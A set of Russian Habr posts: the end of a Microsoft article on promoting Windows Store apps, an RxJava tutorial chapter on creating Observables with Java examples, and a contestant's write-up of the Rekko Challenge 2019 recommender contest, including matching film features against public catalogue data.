Как только вы обновите свое приложение до UWP-приложения под Windows 10, вы сможете воспользоваться дополнительной функциональностью трекинга кампаний через метод [CurrentApp.getAppPurchaseCampaignIdAsync()](http://wndw.ms/getapppurchase), который во время работы приложения, может сказать, пришел ли пользователь из какой-то кампании и, если да, то какой. Другими словами, вы можете настроить игру или приложение, чтобы лучше соответствовать каналу прихода пользователя, например, делая дополнительные предложения для разных партнеров или подсвечивая конкретные опции покупок для конкретных пользователей.
### Вступайте в Affiliate-программу
Помимо того, что мы стараемся облегчить понимание, откуда к вам приходят пользователи, мы также инвестируем в появление новых путей для прихода пользователей в магазин, включая расширение [программы Microsoft Affiliate](http://wndw.ms/MSaffiliate) до включения содержимого Windows Store: приложений, игры, музыки, видео и т.п.
Программа помогает любым партнерам зарабатывать комиссию от продвижения контента магазина Windows Store. Инфраструктура аффилиат-программы работает тем же способом, что и система трекинга кампаний, с той лишь разницей, что она нацелена на то, чтобы сторонние игроки могли создавать траффик к вашему приложению в Windows Store и зарабатывать комиссию от реферальных покупок. Аффилиат зарабатывает 7%-комиссию на всех платных покупках в течение 24 часов, встроенных покупках в течение 14 дней и ежемесячно от продляемых подписок в течение 6 месяцев.
Если вы делаете обзоры приложений и игры на вашем сайте или в блоге (например, через Твиттер), рекомендую вам вступить в аффилиат-программу и использовать соответствующие ссылки, когда вы направляете пользователей в Windows Store.
### Продвигайте приложения, используя рекламу
Наконец, мы продолжаем облегчать получение большего количества пользователей, добавив возможность [создания рекламных кампаний для вашего приложения](https://msdn.microsoft.com/ru-ru/library/windows/apps/mt148569.aspx). Используя раздел “Promote your app” (продвижение приложения) в центре разработки, вы можете создавать и запускать два типа рекламы:
* Платная реклама внутри других приложений с нацеливанием на нужные семейства устройств и категорий приложений.
* Бесплатная «[собственная](https://msdn.microsoft.com/ru-ru/library/windows/apps/mt148566.aspx)» реклама внутри других ваших приложений – для тех устройств, на которых ваши приложения или игры еще не установлены.
После добавления рекламной кампании, вы можете использовать [отчет по установкам через рекламу](https://msdn.microsoft.com/ru-ru/library/windows/apps/mt148567.aspx) для оценки, как ваша кампания работает (показы, клики и установки), и далее подстраивать нужным образом стратегию продвижения.
Сделайте на этой неделе: потратьте час для обновления описания вашего приложения в магазине
-------------------------------------------------------------------------------------------
Мы надеемся, что вам понравилась первая статья из серии [Windows 10 по 10](http://wndw.ms/10x10anchor). В следующие недели мы сконцентрируемся на том, что вы можете сделать для увеличения вовлечения ваших пользователей во взаимодействие с приложением.
Но перед этим, мы рекомендуем вам провести час с обновлением описания вашего приложения:
1. Потратьте 20 минут на обновление описания приложения
2. Потратьте еще 20 минут на обновление снимков экрана и добавление промо-изображения 2400х1200px.
3. Наконец, проверьте, как вы ссылаетесь на ваше приложение и [начните использовать ID для кампаний](http://wndw.ms/campaigntracking), чтобы собирать информацию об источниках установок.
В следующий раз, когда вы будете обновлять приложение, мы крайне рекомендуем добавить в него Application Insights. Понимание, как пользователи работают с вашим приложением, действительно просветляет, еще интереснее наблюдать за этим почти вживую через телеметрию, особенно при запуске очередных обновлений, когда возможные исключения и падения могут быть критичными для успеха.
Как всегда, мы будем рады ваши отзывам в комментариях и Твиттере [@WindowsDev](http://wndw.ms/windevtwitter). В течение этой недели для обсуждения в Твиттере темы продвижения приложений используйте хеш-тег #win10x10 – от советов по работе с телеметрией до отзывов, что работало для продвижения вашего приложения. | https://habr.com/ru/post/265445/ | null | ru | null |
# Введение в RxJava: Создание последовательности
Теперь, когда мы понимаем основные принципы Rx, настало время научиться создавать и управлять последовательностями. Стиль управления последовательностями был позаимствован у оригинального C# [LINQ](https://en.wikipedia.org/wiki/Language_Integrated_Query), который в свою очередь был вдохновлен функциональным программироанием. Мы поделим все операции по темам, которые отсортированы в порядке возрастания сложности операций. Большинство операторов Rx управляют уже существующими последовательностями, но для начала мы научимся их создавать.
**Содержание**##### Содержание:
* Часть первая – Вступление
1. [Почему Rx?](http://habrahabr.ru/post/269417/)
2. [Ключевые типы](http://habrahabr.ru/post/270023/)
3. [Жизненный цикл подписки](http://habrahabr.ru/post/270975/)
* Часть вторая – Последовательности
1. **Создание последовательности**
2. Фильтрация последовательности
3. Исследование
4. Агрегация
5. Трансформация
* Часть третья – Управление последовательностями
* Часть четвертая – Параллельность
Часть 2 — Основы последовательностей
====================================
Создание последовательности
===========================
[Ранее](http://habrahabr.ru/post/270975/), мы использовали `Subject`'ы и вручную подавали на них значения чтобы создать последовательность. Мы делали так чтобы продемонстрировать некоторые ключевые моменты, в том числе основной Rx метод `subscribe`. В большинстве случаев `Subject` это не лучший способ создать новый `Observable`. В этом разделе мы рассмотрим более элегантные способы сделать это.
Простые фабричные методы
------------------------
### Observable.just
`just` создает `Observable`, который выдаст определенное заранее количество значений, после чего завершится.
```
Observable values = Observable.just("one", "two", "three");
Subscription subscription = values.subscribe(
v -> System.out.println("Received: " + v),
e -> System.out.println("Error: " + e),
() -> System.out.println("Completed")
);
```
[Вывод](https://github.com/bolein/Intro-To-RxJava/blob/master/tests/java/itrx/chapter2/creating/ObservableFactoriesExample.java)
```
Received: one
Received: two
Received: three
Completed
```
### Observable.empty
Этот `Observable` выдаст только событие `onCompleted` и больше ничего.
```
Observable values = Observable.empty();
Subscription subscription = values.subscribe(
v -> System.out.println("Received: " + v),
e -> System.out.println("Error: " + e),
() -> System.out.println("Completed")
);
```
[Вывод](https://github.com/bolein/Intro-To-RxJava/blob/master/tests/java/itrx/chapter2/creating/ObservableFactoriesExample.java)
```
Completed
```
### Observable.never
Этот `Observable` никогда ничего не выдаст.
```
Observable values = Observable.never();
Subscription subscription = values.subscribe(
v -> System.out.println("Received: " + v),
e -> System.out.println("Error: " + e),
() -> System.out.println("Completed")
);
```
Код [выше](https://github.com/bolein/Intro-To-RxJava/blob/master/tests/java/itrx/chapter2/creating/ObservableFactoriesExample.java) ничего не напечатает. Но это не означает что программа блокируется. По-факту она просто мгновенно завершается.
### Observable.error
Этот `Observable` выдаст событие onError и завершится.
```
Observable values = Observable.error(new Exception("Oops"));
Subscription subscription = values.subscribe(
v -> System.out.println("Received: " + v),
e -> System.out.println("Error: " + e),
() -> System.out.println("Completed")
);
```
[Вывод](https://github.com/bolein/Intro-To-RxJava/blob/master/tests/java/itrx/chapter2/creating/ObservableFactoriesExample.java)
```
Error: java.lang.Exception: Oops
```
### Observable.defer
`defer` не создает новый `Observable`, но позволяет определить каким образом `Observable` будет создан при появлении подписчиков. Подумайте, как бы вы создали `Observable` который будет выдавать текущее время? Так как значение только одно, похоже, что здесь нам может помочь `just`.
```
Observable now = Observable.just(System.currentTimeMillis());
now.subscribe(System.out::println);
Thread.sleep(1000);
now.subscribe(System.out::println);
```
[Вывод](https://github.com/bolein/Intro-To-RxJava/blob/master/tests/java/itrx/chapter2/creating/ObservableFactoriesExample.java)
```
1431443908375
1431443908375
```
Обратите внимание как второй подписчик, подписавшись на секунду позже, получил такое же время. Это происходит потому что значение времени было вычислено лишь единожды: когда выполнение доходит до метода `just`. Однако в нашем случае мы хотим вычислять текущее время при каждой подписке. `defer` принимает функцию, которая возвращает `Observable` и будет выполнена для каждого нового подписчика.
```
Observable now = Observable.defer(() ->
Observable.just(System.currentTimeMillis()));
now.subscribe(System.out::println);
Thread.sleep(1000);
now.subscribe(System.out::println);
```
[Вывод](https://github.com/bolein/Intro-To-RxJava/blob/master/tests/java/itrx/chapter2/creating/ObservableFactoriesExample.java)
```
1431444107854
1431444108858
```
### Observable.create
`create` это очень мощный метод создания `Observable`.
```
static Observable create(Observable.OnSubscribe f)
```
Все намного проще чем выглядит. Внутри всего лишь функция, которая принимает `Subscriber` для типа `T`. Внутри нее мы можем вручную определить события, которые будут выдаваться подписчику.
```
Observable values = Observable.create(o -> {
o.onNext("Hello");
o.onCompleted();
});
Subscription subscription = values.subscribe(
v -> System.out.println("Received: " + v),
e -> System.out.println("Error: " + e),
() -> System.out.println("Completed")
);
```
[Вывод](https://github.com/bolein/Intro-To-RxJava/blob/master/tests/java/itrx/chapter2/creating/ObservableFactoriesExample.java)
```
Received: Hello
Completed
```
Когда кто-нибудь подпишется на наш `Observable` (в данном случае `values`), соответствующий экземпляр `Subscriber` будет передан в функцию `create`. По мере выполнения кода, значения будут переданы подписчику. Следует обратить внимание, что нужно самостоятельно вызывать метод `onCompleted` чтобы просигнализировать окончание последовательности.
Данный метод является рекомендуемым способом создания `Observable` в случае если ни один из других способов не подходит. Это похоже на то, как мы создавали `Subject` и вручную подавали на него значения, однако есть несколько важных отличий. В первую очередь, источник событий аккуратно инкапсулирован и отделен от другого кода. Во-вторых, `Subject`'ы имеют неочевидные опасности: любой кто имеет доступ к обьекту сможет изменить последовательность. Мы еще вернемся к этой проблеме позже.
Еще одним ключевым отличием от использования `Subject` является то, что код выполняется "lazily", только тогда когда прибывает новый подписчик. В примере выше, код выполняется *не* в момент создания `Observable` (так как подписчиков еще нет), а в момент вызова метода `subscribe`. Это означает, что значения будет вычислены заново для каждого подписчика, как в `ReplaySubject`. Конечный результат похож на `ReplaySubject`, за исключением кеширования. С помощью `create` мы также можем легко перенести выполнение в отделный поток, в то время как с `ReplaySubject` нам приходилось бы вручную создавать потоки для вычисления значений. Мы еще рассмотрим способы сделать выполнение метода `onSubscribe` параллельным.
Вы уже могли заметить что любой из предыдущих `Observable` можно реализовать при помощи `Observable.create`. Наш пример для `create` эквивалентен `Observable.just("hello")`.
Функциональные методы
---------------------
В функциональном программировании обычным делом является создание бесконечных последовательностей.
### Observable.range
Простой и знакомый функциональным программистам метод. Выдает значения из заданного диапазона.
```
Observable values = Observable.range(10, 15);
```
Этот [пример](https://github.com/bolein/Intro-To-RxJava/blob/master/tests/java/itrx/chapter2/creating/FunctionalUnfoldsExample.java) последовательно выдает значения от 10 до 24.
### Observable.interval
Эта функция создаст *бесконечную* последовательность значений, отделенных заданным интервалом времени.
```
Observable values = Observable.interval(1000, TimeUnit.MILLISECONDS);
Subscription subscription = values.subscribe(
v -> System.out.println("Received: " + v),
e -> System.out.println("Error: " + e),
() -> System.out.println("Completed")
);
System.in.read();
```
[Вывод](https://github.com/bolein/Intro-To-RxJava/blob/master/tests/java/itrx/chapter2/creating/FunctionalUnfoldsExample.java)
```
Received: 0
Received: 1
Received: 2
Received: 3
...
```
Последовательность не завершится до тех пор пока мы не отпишемся.
Следует обратить внимание почему блокирующий ввод в конце примера обязателен. Без него программа завершится ничего не напечатав. Это происходит потому, что все наши операции являются неблокирующими: мы создаем периодически выдающий значения `Observable`, затем регистрируем подписчика, который выполняет некоторые действия в момент прибытия этих значений. Ничто из этого не блокирует главный поток от завершения.
### Observable.timer
Существует две перегрузки `Observable.timer`. Первый вариант создает `Observable` выдающий `0L` через заданный промежуток времени.
```
Observable values = Observable.timer(1, TimeUnit.SECONDS);
Subscription subscription = values.subscribe(
v -> System.out.println("Received: " + v),
e -> System.out.println("Error: " + e),
() -> System.out.println("Completed")
);
```
[Вывод](https://github.com/bolein/Intro-To-RxJava/blob/master/tests/java/itrx/chapter2/creating/FunctionalUnfoldsExample.java)
```
Received: 0
Completed
```
Второй вариант ожидает заданный промежуток времени, затем начинает выдавать значения так же как `interval` с заданной частотой.
```
Observable values = Observable.timer(2, 1, TimeUnit.SECONDS);
Subscription subscription = values.subscribe(
v -> System.out.println("Received: " + v),
e -> System.out.println("Error: " + e),
() -> System.out.println("Completed")
);
```
[Вывод](https://github.com/bolein/Intro-To-RxJava/blob/master/tests/java/itrx/chapter2/creating/FunctionalUnfoldsExample.java)
```
Received: 0
Received: 1
Received: 2
...
```
Пример выше ждет 2 секунды, затем начинает считать каждую секунду.
Превращение в Observable
------------------------
В java существуют инструменты для работы с последовательностями, коллекциями и асинхронными событиями, которые могут не иметь прямой совместимости с Rx. Сейчас мы рассмотрим каким образом можно превратить их во входящие данные вашего Rx кода.
Если вы используете EventHandler'ы, то с помощь `Observable.create` из событий можно создать последовательность.
```
Observable events = Observable.create(o -> {
button2.setOnAction(new EventHandler() {
@Override public void handle(ActionEvent e) {
o.onNext(e)
}
});
})
```
В зависимости от конкретного события, его тип (в данном случае `ActionEvent`) сам по себе может нести достаточно информации чтобы стать типом вашего `Observable`. Однако, очень часто вам может понадобиться что-нибудь другое, например, значение некого поля в момент события. Получить значение такого поля лучше всего внутри хендлера, пока UI поток заблокирован и значения поля актуально. И хотя не существует гарантий, что значение останется неизменным до достижения конечного подписчика, в правильно реализованном Rx коде изменения контролируются на стороне потребителя [1].
Observable.from
---------------
Вы можете превратить любые входные данные в `Observable` при помощи `create`. Однако, для распространенных типов данных, существуют уже готовые методы, призванные облегчить этот процесс.
`Future`'ы являются частью Java и вы должно быть сталкивались с ними во время работы с фреймворками использующими многопоточность. Они являются менее мощным многопоточным инструментом чем Rx, так как возвращают только одно значение. Как правило, вы захотите превратить их в `Observable`.
```
FutureTask f = new FutureTask(() -> {
Thread.sleep(2000);
return 21;
});
new Thread(f).start();
Observable values = Observable.from(f);
Subscription subscription = values.subscribe(
v -> System.out.println("Received: " + v),
e -> System.out.println("Error: " + e),
() -> System.out.println("Completed")
);
```
[Вывод](https://github.com/bolein/Intro-To-RxJava/blob/master/tests/java/itrx/chapter2/creating/FromExample.java)
```
Received: 21
Completed
```
`Observable` выдает результат `FutureTask` по-готовности, после чего завершается. Если задача была отменена, observable выдаст ошибку `java.util.concurrent.CancellationException`.
Если вы заинтересованы в результате `Future` только ограниченное время, существует возможность задать таймаут в качестве аргумента.
```
Observable values = Observable.from(f, 1000, TimeUnit.MILLISECONDS);
```
Если за это время `Future` не завершится, observable проигнорирует результат и выдаст `TimeoutException`.
С помощью `Observable.from` можно превратить любую коллекцию в последовательность. Будет создан `Observable`, выдающий каждый элемент коллекции по-отдельности и `onCompleted` в конце.
```
Integer[] is = {1,2,3};
Observable values = Observable.from(is);
Subscription subscription = values.subscribe(
v -> System.out.println("Received: " + v),
e -> System.out.println("Error: " + e),
() -> System.out.println("Completed")
);
```
[Вывод](https://github.com/bolein/Intro-To-RxJava/blob/master/tests/java/itrx/chapter2/creating/FromExample.java)
```
Received: 1
Received: 2
Received: 3
Completed
```
`Observable` это не то же что `Iterable` или `Stream`. `Observable` push-ориентированный, в том смысле, что вызов `onNext` провоцирует стек обработчиков выполниться вплоть до последнего `subscribe` метода. Остальные модели pull-ориентированные — значения в них запрашиваются с другой стороны и выполнение блокируется до возвращения результата.
[1] *consumer*, тот, кто поглащает значения выданные `Observable`
*Теперь у проекта есть свой публичный [репозиторий](https://github.com/bolein/Intro-To-RxJava) и любой желающий может присоединится к созданию углубленного русскоязычного туториала по Rx. Перевод [этой части](https://github.com/bolein/Intro-To-RxJava/blob/master/Part%202%20-%20Sequence%20Basics/1.%20Creating%20a%20sequence.md) уже там, остальные появятся в скором времени, а с вашей помощью, еще быстрее.* | https://habr.com/ru/post/281633/ | null | ru | null |
# Rekko Challenge 2019: как это было
Не так давно на платформе [Boosters](http://boosters.pro) прошел контест рекомендательных систем от онлайн-кинотеатра Okko — [Rekko Challenge 2019](https://habr.com/ru/company/okko/blog/439180/). Для меня это был первый опыт участия в соревновании с лидербордом (ранее пробовал силы только в хакатоне). Задача интересная и знакома мне из практики, призовой фонд есть, а значит, был смысл участвовать. В итоге я занял 14 место, за что организаторы выдали памятную футболку. Приятно. Спасибо.
В этой статье я кратко погружу вас в задачу, расскажу о выдвинутых мной гипотезах, а также о том, как затащить соревнование по рекомендательным системам и попасть в топ-15 без опыта стекинга, что будет особенно полезно тем, кто только собирается участвовать в контестах.
### Рекомендательные системы
Главная цель рекомендательных систем — дать пользователю то, что он ~~хочет~~ купит (к сожалению, именно такое гипертрофированное представление навязано нам коммерческим применением).
Существуют разные постановки задач (ранжирование, поиск похожих, предсказание конкретного элемента), а соответственно, и способы их решения. Ну и все мы любим вариативность в выборе, которая предоставляется набором из нескольких потенциальных способов решения для каждой из задачи. Хорошо описаны различные подходы в статье [Анатомия рекомендательных систем](https://habr.com/ru/company/lanit/blog/420499/). Разумеется, никто не отменял [NFL-теорему](http://www.no-free-lunch.org), а значит, в конкурсной задаче мы можем попробовать разные алгоритмы.
### Постановка задачи
Подробнее о задаче и данных можно почитать в [статье](https://habr.com/ru/company/okko/blog/439180/) организаторов. TL;DR здесь я опишу необходимый минимум для понимания контекста.
В датасете чуть более десяти тысяч фильмов с анонимизированными атрибутами. В качестве матриц взаимодействия user-item доступны следующие варианты:
* транзакции — содержит факты покупки пользователями контента/ взятия в аренду/ просмотра по подписке;
* рейтинги — оценки фильмов пользователями;
* закладки — событие добавления фильма в закладки.
Вся информация взята за некоторый промежуток времени, которое представлено в условных единицах, имеющих привязку к реальному.
Контент же имел следующий набор атрибутов:
Про них можно подробно почитать в статье организаторов, но хочется сразу уделить внимание тому, что бросилось в глаза: параметр «attributes». В нем был мешок категориальных атрибутов с кардинальностью в ~36 тысяч. В среднем было по 15 значений на фильм. На первый взгляд в этих значениях зашифрованы как раз самые основные атрибуты, описывающие контент: актеры, режиссеры, страна, подписки или коллекции, к которым принадлежит фильм.
Необходимо предсказать 20 фильмов, которые тестовые пользователи посмотрят в следующие два месяца. Тестовые пользователи — это 50 тысяч из всех 500 тысяч пользователей. На лидерборде они поделены пополам: по 25 тысяч в public/private.
### Метрика
В качестве метрики организаторы выбрали Mean Normalize Average Precision на 20 элементах (MNAP@20). Основное отличие от обычного MAP в том, что для пользователей, не посмотревших 20 фильмов в тестовом периоде, нормирование происходит не на k, а на фактическое значение просмотренных фильмов.
Прочитать подробнее и посмотреть код на Cython можно [здесь.](https://habr.com/ru/company/okko/blog/439180/)
### Валидация
Приступаем к решению задачи. Прежде всего надо было решить на чем валидироваться. Так как предсказывать нам надо фильмы в будущем, то делать простое разбиение по пользователям мы не можем. Из-за того, что время анонимизировано, пришлось для начала хотя бы примерно его расшифровать. Для этого я взял несколько пользователей, составил график по транзакциям и выявил некую сезонность. Было предположено, что она ежедневная, а зная разницу во времени между сутками, мы можем посчитать, за какой период были выгружены данные. Оказалось, что это были транзакции за 6 месяцев. Позже это подтвердилось в телеграм-канале, где происходило обсуждение контеста.
На графике выше отображена почасовая частотность транзакций на примере данных длиною в один месяц. Три выделяющихся пика на каждой неделе похожи на вечера пятницы, субботы и воскресенья соответственно.
Следовательно, у нас есть шесть месяцев просмотров, и надо предсказать фильмы на следующие два. Будем использовать последнюю треть времени обучающей выборки как валидационный датасет.
Последующие несколько сабмитов показали, что сплит был выбран удачно и скор на локальной валидации превосходно коррелировал с лидербордом.
### Попытка деанонимизации данных
Для начала я решил попробовать деанонимизировать все фильмы, чтобы:
* сгенерировать кучу признаков по мета-информации контента. На ум, как минимум, приходят: жанры, актерский состав, вхождение в подписки, текстовое описание и т.д.;
* подкинуть в топку интеракций со стороны для уменьшения разреженности матрицы. Да-да, правила конкурса не запрещали использование внешних данных. Надежды на матчинг с открытыми датасетами, разумеется, не было, но парсинг российских порталов никто не отменял.
Вроде бы логичная мотивация, которая, по моим ожиданиям, должна была стать киллер-фичей решения.
Первым делом я решил распарсить сайт Okko и вытащить оттуда все фильмы вместе с их свойствами (рейтинг, продолжительность, возрастные ограничения и другие). Ну как распарсить — все оказалось достаточно просто, в данном случае можно было воспользоваться API:
Зайдя в каталог и выбрав конкретный жанр или подписку нужно было всего лишь зайти в любой из элементов. В ответе на запрос выше вываливается весь массив фильмов в жанре/подписке со всеми атрибутами. Очень удобно :)
**Так выглядели атрибуты одного элемента в структуре**
```
"element": {
"id": "c2f98ef4-2eb5-4bfd-b765-b96589d4c470",
"type": "SERIAL",
"name": "Старая гвардия",
"originalName": "Старая гвардия",
"covers": {...},
"basicCovers": {...},
"description": "Ведя дело об аварии со смертельным исходом, молодой следователь Вера ...",
"title": null,
"worldReleaseDate": 1558731600000,
"ageAccessType": "16",
"ageAccessDescription": "16+ Для детей старше 16 лет",
"duration": null,
"trailers": {...},
"kinopoiskRating": 6,
"okkoRating": 4,
"imdbRating": null,
"alias": "staraja-gvardija",
"has3d": false,
"hasHd": true,
"hasFullHd": true,
"hasUltraHd": false,
"hasDolby": false,
"hasSound51": false,
"hasMultiAudio": false,
"hasSubtitles": false,
"inSubscription": true,
"inNovelty": true,
"earlyWindow": false,
"releaseType": "RELEASE",
"playbackStartDate": null,
"playbackTimeMark": null,
"products": {
"items": [
{
"type": "PURCHASE",
"consumptionMode": "SUBSCRIPTION",
"fromConsumptionMode": null,
"qualities": [
"Q_FULL_HD"
],
"fromQuality": null,
"price": {
"value": 0,
"currencyCode": "RUB"
},
"priceCategory": "679",
"startDate": 1554670800000,
"endDate": null,
"description": null,
"subscription": {
"element": {
"id": "bc682dc6-c0f7-498e-9064-7d6cafd8ca66",
"type": "SUBSCRIPTION",
"alias": "119228"
}
},
"offer": null,
"originalPrice": null
},
...
],
"emptyReason": null
},
"licenses": null,
"assets": {...},
"genres": {
"items": [
{
"element": {
"id": "Detective",
"type": "GENRE",
"name": "Детективы",
"alias": "Detective"
}
},
...
],
"totalSize": 2
},
"countries": {
"items": [
{
"element": {
"id": "3b9706f4-a681-47fb-918e-182ea9dfef0b",
"type": "COUNTRY",
"name": "Россия",
"alias": "russia"
}
}
],
"totalSize": 1
},
"subscriptions": {
"items": [
{
"element": {
"id": "bc682dc6-c0f7-498e-9064-7d6cafd8ca66",
"type": "SUBSCRIPTION",
"name": "Тинькофф Кино и сериалы",
"alias": "119228"
}
},
...
],
"totalSize": 7
},
"promoText": null,
"innerColor": null,
"updateRateDescription": null,
"contentCountDescription": null,
"copyright": null,
"subscriptionStartDate": null,
"subscriptionEndDate": null,
"subscriptionActivateDate": null,
"stickerText": null,
"fullSeasonPriceText": null,
"purchaseDate": null,
"expireDate": null,
"lastWatchedChildId": null,
"bookmarkDate": null,
"userRating": null,
"consumeDate": null,
"lastStartingDate": null,
"watchDate": null,
"startingDate": null,
"earlyWatchDate": null
}
```
Осталось пройтись по всем жанрам, распарсить JSON, а затем разрешить дубликаты, так как один фильм может принадлежать нескольким жанрам/подпискам.
Да, тут мне повезло и я сэкономил кучу времени. Если это не ваш случай, и вам необходимо парсить html контент, то на хабре есть статьи, которые могут помочь и с этим, например [вот](https://habr.com/ru/post/280238/).
«Дело в шляпе, — подумал я, — осталось только смержить». «Дело — шляпа», — понял я на следующий день: данные не сопоставлялись абсолютно. Об этом ниже.
Во-первых, размер каталога существенно отличался: в датасете — 10200, собрал с сайта — 8870. Это следовало из историчности датасета: было выкачано лишь то, что на сайте есть сейчас, а данные конкурса — за 2018 год. Какие-то из фильмов уже стали недоступны. Упс.
Во-вторых, из потенциальных атрибутов на матчинг была стойкая интуиция только по поводу следующих:
*feature5* — возрастное ограничение. Понять это было достаточно легко. Кардинальность признака — 5 уникальных float значений и «-1». Среди собранных данных был найден атрибут «ageAccessType» как раз с кардинальностью 5. Маппинг выглядел следующим образом:
```
catalogue.age_rating = catalogue.age_rating.map({0: 0, 0.4496666915: 6
0.5927161087: 12
0.6547073468: 16
0.6804096966000001: 18})
```
*feature2* — преобразованный рейтинг фильма с кинопоиска. Изначально на этапе EDA идею, что мы имеем дело с рейтингом, подала корреляция параметра с общим количеством просмотров. Впоследствии уверенности в том, что это рейтинг именно с кинопоиска подтвердило наличие параметра «kinopoiskRating» в данных сайта.
Еще на шаг ближе к матчингу! Теперь осталось найти способ обратного преобразования для представленного в анонимизированном виде параметра *feature2*.
Вот как выглядит распределение значений в *feature2*:
А так распределение значений параметра *kinopoiskRating*:
Когда я показал эти изображения коллеге Саше, он сразу увидел, что это степень тройки. Тройки у математиков не в почете, а вот число Pi очень даже. В итоге, получилось так:
Вроде бы все, но не совсем. Мы видим идентичные распределения, но номинальные значения и количество по-прежнему не сходятся. Если бы мы знали некоторое количество примеров сопоставления, то осталось бы только аппроксимировать линейную функцию для нахождения множителя. Но их у нас не было.
Аппроксимировать, кстати, не самое подходящее слово. Нужно решение с ошибкой, практически равной нулю. Точность в собранных данных — 2 знака после разделителя. Если учесть, что фильмов с рейтингом 6.xx достаточно много и имеются фильмы с одинаковым рейтингом, то за precision здесь стоит побороться.
Что же еще можно попробовать? Можно опереться на минимальное и максимальное значение и воспользоваться MinMaxScaler, но ненадежность этого метода сразу вызывает сомнения. Напомню, что количество фильмов изначально не сошлось, и наш датасет — исторический, а на сайте — текущее состояние. Т.е. нет гарантий, что фильмы с минимальным и максимальным рейтингом в обеих группах идентичны (так и оказалось: у них было различное возрастное ограничение, и длительность не сходилась от слова «совсем»), как нет и понимания того, как часто OKKO обновляет у себя в API ежедневно меняющийся рейтинг кинопоиска.
Так стало понятно, что мне нужны еще кандидаты атрибутов для сопоставления.
**Что еще есть интересного?**
*feature1* — какая-то дата. По идее, для дат организаторы обещали сохранение раprecisionсстояний, что подразумевало линейную функцию. В общем, преобразование должно было быть идентичным атрибуту *ts*для матриц взаимодействий. Если посмотреть на распределение фильмов по *feature\_1*…
… то сразу отметается гипотеза даты выхода фильма. Интуиция подсказывает — количество выпускаемых индустрией фильмов должно расти со временем. Это подтверждается чуть ниже.
В данных, которые мы получили с сайта есть 14 атрибутов. На деле, к сожалению, значения содержались только для следующих:
Ни один из примеров выше не похож на *feature\_1*. Что ж, больше идей по сопоставлению не было, и кажется, что вся возня с этой задачей была напрасной. Я, конечно, слышал про конкурсы, где ребята размечали данные вручную, но не когда речь идет о сотнях и тысячах экземпляров.
### Решение
**1. Простые модели**
Осознав, что не все так просто, я принялся смиренно работать с тем, что есть. Для начала, хотелось начать с простого. Я попробовал несколько часто используемых в индустрии решений, а именно: [коллаборативную фильтрацию](https://en.wikipedia.org/wiki/Collaborative_filtering) (в нашем случае item-based) и [факторизацию матриц](https://en.wikipedia.org/wiki/Matrix_factorization_(recommender_systems)).
В сообществе широко используется пара подходящих для этих задач библиотек на python: [implicit](https://github.com/benfred/implicit) и [LightFM](https://github.com/lyst/lightfm). Первая умеет факторизацию на основе ALS, а также Nearest Neighbour Collaborative Filtering с несколькими вариантами предобработки item-item матрицы. У второй два отличительных фактора:
* Факторизация основана на SGD, что дает возможность использовать функции потерь на основе сэмплирования, в том числе [WARP](https://lyst.github.io/lightfm/docs/examples/warp_loss.html).
* Использует гибридный подход, соединяя в модели информацию об атрибутах пользователя и айтемов таким образом, что латентный вектор пользователя — сумма латентных векторов его атрибутов. И аналогично для айтемов. Этот подход становится чрезвычайно удобным при наличии проблемы холодного старта для пользователя/айтема.
Атрибутов пользователя у нас не было (не считая возможности вывести их на основе взаимодействия с фильмами), поэтому я использовал только атрибуты айтемов.
Итого на перебор параметров отправились 6 сеттингов. В качестве матрицы взаимодействий использовалась комбинация трех матриц, где рейтинги были преобразованы к бинарному виду. Сравнительные результаты с лучшими гиперпараметрами для каждого из сеттинга в таблице ниже.
| | |
| --- | --- |
| **Model** | **Test MNAP@20** |
| Implicit ALS | 0.02646 |
| Implicit Cosine kNN CF | **0.03170** |
| Implicit TFIDF kNN CF | 0.03113 |
| LightFM (without item features), BPR loss | 0.02567 |
| LightFM (without item features), WARP loss | 0.02632 |
| LightFM with item features, WARP loss | 0.02635 |
Как видно, классическая коллаборативная фильтрация показала себя намного лучше, чем остальные модели. Не идеально, но от бейзлайна многого и не требуется. Сабмит с этой конфигурацией дал 0.03048 на public лидерборде. Уже не помню позицию на то время, но на момент закрытия соревнования уже этот сабмит точно попал бы в топ-80 и обеспечил бронзовую медальку.
**2. Привет бустингу**
Что может быть лучше, чем одна модель? Правильно: несколько моделей.
Поэтому следующим вариантом стало ансамблирование или, в контексте рекомендаций, ранжирующая модель второго уровня. В качестве подхода я взял [эту](https://habr.com/ru/company/avito/blog/439206/) статью от ребят из Avito. Вроде бы готовил строго по рецепту, периодически помешивая и приправляя атрибутами фильмов. Единственным отклонением было количество кандидатов: я брал топ-200 из LightFM, т.к. при 500 000 пользователей большее количество просто не помещалось в память.
В итоге, скор, получаемый мной на валидации, был хуже, чем на одной модели.
После нескольких дней экспериментов пришло осознание, что ничего не работает и ничего не заработает само. Или я не умею это готовить (спойлер: правильный второй ответ). Что же я делаю не так? На ум пришли две причины:
* С одной стороны брать топ-200 из модели первого уровня здраво с точки зрения генерации «hard negative» сэмплов, т.е. тех фильмов, что также релевантны для пользователя, но не просмотрены им. С другой стороны, некоторые из этих фильмов могут быть просмотрены в тестовом периоде, а мы подаем эти примеры как негативные. Далее я решил снизить риски влияния этого факта, перепроверив гипотезу следующим экспериментом: взял для обучающей выборки все позитивные примеры + случайные. Скор на тестовой выборке не улучшился. Тут необходимо уточнить, что в семплировании на тесте все также были топ-предсказания из модели первого уровня, ибо на лидерборде никто не скажет мне все позитивные примеры.
* Из 10 200 фильмов, доступных в каталоге, какие-либо взаимодействия совершались лишь с 8 296 фильмов. Еще почти 2 000 фильмов были лишены внимания пользователей, отчасти потому что были недоступны для покупки/аренды/в рамках подписки. Ребята в чате спрашивали, могут ли недоступные фильмы стать доступными в тестовом периоде. Ответ был положительный. Выкидывать их однозначно нельзя. Таким образом, я предположил, что еще почти 2 000 фильмов будут доступны в ближайшие 2 месяца. Иначе зачем закидывать их в датасет?
**3. Нейроночки**
Из предыдущего пункта напрашивался вопрос: как мы можем работать с фильмами, по которым еще совсем нет взаимодействий? Да, вспоминаем item features в LightFM, но как помним, они не зашли. Что еще? Нейронки!
В арсенале open source есть пара достаточно популярных высокоуровневых библиотек для работы с рекомендательными системами: [Spotlight](https://maciejkula.github.io/spotlight/index.html) от Maciej Kula (автора LightFM) и [TensorRec](https://github.com/jfkirk/tensorrec). У первого под капотом PyTorch, у второго — Tensorflow.
Spotlight умеет выполнять факторизацию на implicit/explicit-датасетах нейронками и sequence модели. При этом в факторизации «из коробки» нет возможности добавить user/item-фичи, поэтому бросаем.
TensorRec, напротив, только и умеет что факторизацию и представляет собой интересный каркас:
